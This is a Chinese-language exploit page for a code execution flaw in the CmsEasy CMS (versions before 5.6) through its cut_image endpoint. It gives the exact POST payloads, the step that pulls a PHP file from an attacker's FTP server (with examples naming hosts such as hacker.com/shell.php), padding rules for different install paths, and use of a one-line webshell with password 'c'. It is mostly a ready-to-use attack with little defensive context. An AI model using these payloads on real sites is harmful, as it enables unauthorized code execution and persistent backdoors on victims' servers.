跳转至

CmsEasy

版本< 5.6 20161012 cut_image 代码执行漏洞

poc:

phpinfo.php eval.php

poc同目录开放ftp:

python -m pyftpdlib -p 21
  1. 验证漏洞

发起 POST 请求,地址为:

http://localhost/cmseasy/index.php?case=tool&act=cut_image

POST data:

pic=111111111ftp://127.0.0.1/phpinfo.php&w=700&h=1120&x1=0&x2=700&y1=0&y2=1120
  1. 成功会返回

{"code":"\n \/\/$('#cut_preview').attr('src','\/cmseasy\/upload\/images\/201709\/15041978619784.php');\n $('#thumb').val('\/cmseasy\/upload\/images\/201709\/15041978619784.php');\n\t\t\t\t alert('保存成功');\n "}
title 1. 访问上传成功后的php文件

http://localhost/cmseasy/upload/images/201709/15041978619784.php title

Exp 使用

使用eval.php,步骤与 PoC 使用完全相同。

一句话连接密码为c

POST data 详细说明

  • w=x2=图片宽度
  • h=y2=图片高度
  • x1=y1=固定0

同一张图片,请求时若指定的宽度和高度的值不相同,gd 库转换后的结果也不相同

如果$_POST['pic']开头4个字符不是http的话,就认为是本站的文件,会从前面抽取掉baseurl(等于返回文件相对路径)所以构造的时候 如果站点不是放在根目录 则需要在前面补位strlen(base_url)+2 如果放在根目录 也需要补上1位(/的长度)

举个例子:

目标站 http://www.target.com/easy/cmseasy/ 放在 cmseasy 子目录,就需要补上strlen(base_url)+2 = strlen('cmseasy') + 2 = 9位,POST数据就是

pic=111111111ftp://hacker.db/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146

目标站 http://www.target2.com/ 放在web根目录 就需要补上1位,POST数据就是

pic=1ftp://hacker.com/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146